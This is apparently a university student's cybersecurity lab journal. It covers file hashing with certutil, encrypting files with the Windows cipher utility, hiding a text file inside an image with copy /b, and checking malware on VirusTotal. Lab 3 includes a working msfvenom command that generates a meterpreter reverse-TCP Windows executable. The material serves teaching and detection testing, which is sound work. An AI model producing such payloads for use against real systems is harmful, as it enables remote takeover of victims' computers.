0% found this document useful (0 votes)
30 views7 pages

Lab Journal

lab journal for cyber sec students

Uploaded by

terog31237
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
30 views7 pages

Lab Journal

lab journal for cyber sec students

Uploaded by

terog31237
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 7

Cyber Security

Lab manual

Submitted By
Umair Saeed (28440)

Submitted To
Safeer Ahmed

BS Cyber Security
3rd Semester
Fall-2024

Riphah International University,


Faisalabad Campus
Lab Manual
Lab 1:
Generating hashes of files in windows using built-in utility
Step 1:
First of all we will create a file in any directory to check its hashes may be it with any name or
your roll no.

Step 2:
Now to generate hashes we will open the command prompt and navigate to the directory where
our file is located and type the following:

Certutil -hashfile <file_path> <hash_algorithm>


We will replace file path with the actual file name that we have in our directory where cmd is
navigate or we can also full directory name if we navigate cmd on any other directory and we
will also replace algorithm with any algorithm name in which we want to generate hashes the
may be following
1. MD5
2. SHA1
3. SHA256
4. SHA384
5. SHA512

Now we will copy the file and again check hashes of file in other directory like Pictures or
somewhere else and we will see hashes will be same because file integrity is not doubtful:
Method for linux will also be same just some tools or commands difference.

Stenography without additional tool in window


For it we will use two files one our picture and other target file like any txt file that we want to
hide in picture for that we will type following command:
copy /b image.jpg + secret.txt output.jpg

Lab2:
Encrypting and decrytping files in windows using cipher utility:
Encrytping file:
For this we will open command prompt and navigate to the directory where is our targeted file
and then we will type this command
Cipher /e filename
We will see a little lock icon on that file and if we will open this file outside our windows
machine or other user account in same window machine then it will not be opened the file.
Now file is encrypted and can be decrypted only in same window machine

Now we will decrypt it with the following command


Cipher /d filename

Lab 3:
In this module we will discuss about malware detection using famous online platform
called as virus total for this we will generate a malware in metasploit and then we will test it with
virustotal for this you need to visit the following site:
https://www.virustotal.com/gui/
Now we will generate malware in msf by following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=0.0.0.0 lport=9999 -o virus.exe
This is our virus total result

You might also like